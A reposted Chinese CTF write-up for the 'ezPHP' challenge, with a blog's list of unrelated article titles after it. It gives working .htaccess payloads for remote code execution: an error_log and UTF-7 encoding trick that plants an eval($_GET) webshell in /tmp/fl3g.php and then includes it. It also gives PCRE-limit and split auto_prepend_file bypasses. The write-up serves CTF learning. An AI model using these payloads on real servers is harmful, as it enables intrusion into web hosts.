ezPHP

源码很简单(感觉越简单的源码越不好搞),一个写文件的功能且只能写文件名为[a-z.]* 的文件,且文件内容存在黑名单过滤,并且结尾被加上了一行,这就导致我们无法直接写入.htaccess里面auto_prepend_file等php_value。

我们的解法

经测试,最后一行导致的.htaccess报错的问题可以通过# 来解决。

该文件中有一处include('fl3g,php'),该文件名不能通过正则匹配所以我们没办法直接利用该文件来getshell。那么还有什么.htaacess 的选项可以利用?

翻一下php的官方文档php.ini配置选项列表,查找所有可修改范围为PHP_INI_ALLPHP_INI_PERDIR的配置项,我们可以注意到这样一个选项include_path.

因此只要控制include_path便可以使这里include进来的fl3g.php可以是任意目录下的某个文件,那么怎样才能控制fl3g.php的内容?查找所有php log相关的功能可以看到error_log这一选项

所以我们的思路便很清晰了:利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。

然而很不幸的是error_log的内容默认是htmlentities的,我们无法插入类似<?php phpinfo();?>的payload。那么怎么才能绕过这里的转义?

查找最近的比赛我们可以发现一篇writeupInsomnihack 2019 I33t-hoster)

这便给了我们启示可以通过设置编码来绕过限制从而getshell.

因此最后的攻击方法如下:

  • Step1 写入.htaccess error_log相关的配置
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
#
  • Step2 访问index.php留下error_log
  • Step3 写入.htaccess新的配置
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
#
  • Step4 再访问一次index.php?2=evilcode即可getshell.

其他非预期解

赛后得知我们的解法是全场唯一的正解,此外还存在两个非预期

非预期1

设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

非预期2

只能说这个非预期为啥我没有想到

php_value auto_prepend_fi
le ".htaccess"
# <?php phpinfo();?>

转载: https://www.anquanke.com/post/id/185377

最新文章

  1. Hibernate--------八大类HQL查询集合
  2. 个人作业——week2
  3. jquery 抽奖示例
  4. cookie 保存上次访问url方法
  5. SQL Server Reporting Services (SSRS): Reporting Services in SQL Server 2012 (codename &quot;Denali&quot;) will support XLSX, DOCX formats. Bye bye 65536 rows limit in XLS files ;)
  6. Servlet基础(三) Servlet的多线程同步问题
  7. PAT (Basic Level) Practise:1030. 完美数列
  8. Codeforces Round #373 (Div. 2)A B
  9. JavaScript闭包示例
  10. oc 通过webView调用js方法
  11. CCPC网络赛,HDU_5842 Lweb and String
  12. static_cast、const_cast和reinterpret_cast学习
  13. System Request 进入KDB模式过程详解
  14. 4.2、Libgdx每个模块概述
  15. jquery、js获取页面高度宽度等
  16. Spring Web MVC(二)
  17. Objective-C 中的 BOOL
  18. C#线程同步(4)- 通知&EventWaitHandle一家
  19. Vue-cli里面引用stylus遇到的问题总结
  20. 几种事务的隔离级别,InnoDB如何实现?

热门文章

  1. BDD Cucumber 实战
  2. leetcode 441.排列硬币(python)
  3. Spring bean的自动装配属性
  4. fixture之autouse=True
  5. 乱入Spring+Mybatis
  6. 【HANA系列】SAP HANA数据处理的理解与分析一
  7. 网络编程.TCP分块接收数据(AIO)(IOCP)
  8. Hive-多分隔符
  9. keystone验证安装
  10. MySQL-快速入门(10)触发器